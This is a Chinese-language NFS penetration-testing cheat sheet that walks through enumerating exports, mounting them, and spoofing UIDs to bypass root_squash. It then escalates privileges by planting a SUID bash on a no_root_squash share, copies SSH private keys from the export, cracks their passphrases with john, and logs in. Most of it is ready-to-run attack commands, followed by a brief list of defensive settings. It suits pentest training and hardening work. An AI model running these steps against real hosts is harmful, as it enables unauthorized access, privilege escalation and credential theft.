0x01 NFS渗透测试
1. 核心思路
1.通过 NFS 导出目录获取目标主机上的敏感文件
2.利用 NFS 的权限配置缺陷(如 no_root_squash)进行提权
3.导出目录包含 SSH 密钥等凭据信息时,可直接横向移动
2. 信息收集
A. 端口扫描
# 扫描 NFS 端口
nmap -p 111,2049 --script=nfs-* <target>
# 查看导出列表
showmount -e <target>
# RPC 信息枚举
rpcinfo -p <target>
B. 常见漏洞/配置问题
- 匿名访问 – 不需要认证就能挂载
- 读写权限 –
rw权限可写 - root_squash – 关闭后普通用户可获 root 权限
- 敏感文件共享 – 共享了
/etc/passwd、/home、/root等
3. 渗透利用
A. 挂载 NFS
# 创建挂载点
sudo mkdir -p /mnt/nfs
# 指定版本挂载
sudo mount -t nfs -o vers=3 <target>:/share /mnt/nfs
# 如果遇到问题,尝试
sudo mount -t nfs -o vers=3,nolock <target>:/share /mnt/nfs
# 查看挂载情况
mount | grep nfs
df -h
B. 绕过 UID 限制
当遇到权限问题时(root_squash 限制),创建相同 UID 的用户:
# 创建与目标用户相同 UID 的账户
sudo useradd -u <uid> -g <gid> -M -s /bin/bash <username>
# 切换到该用户
sudo su <username>
# 或者临时修改当前用户 UID
sudo usermod -u <uid> <username>
# 重新挂载
sudo umount /mnt/nfs
sudo mount -t nfs -o vers=3 <target>:/share /mnt/nfs
C. 提权利用 (no_root_squash)
当目标 NFS 配置了 no_root_squash 时:
# 在挂载目录创建具有 SUID 权限的文件
cp /bin/bash /mnt/nfs/shell
chmod +s /mnt/nfs/shell
# 获取目标普通用户权限后执行
./shell -p
D. 利用导出的敏感文件
# 查看 SSH 密钥
ls -la /mnt/nfs/.ssh/
# 复制私钥
cp /mnt/nfs/.ssh/id_rsa ~/id_rsa
chmod 600 ~/id_rsa
# 提取 SSH 密钥 hash(用于破解密码)
python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
# 破解密码
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 使用私钥登录
ssh -i id_rsa <username>@<target>
4. 防御建议
- 限制 IP 访问 NFS 服务
- 启用
root_squash(默认开启) - 只读挂载
ro - 定期审计
/etc/exports配置 - 避免导出敏感目录如
/home、/root等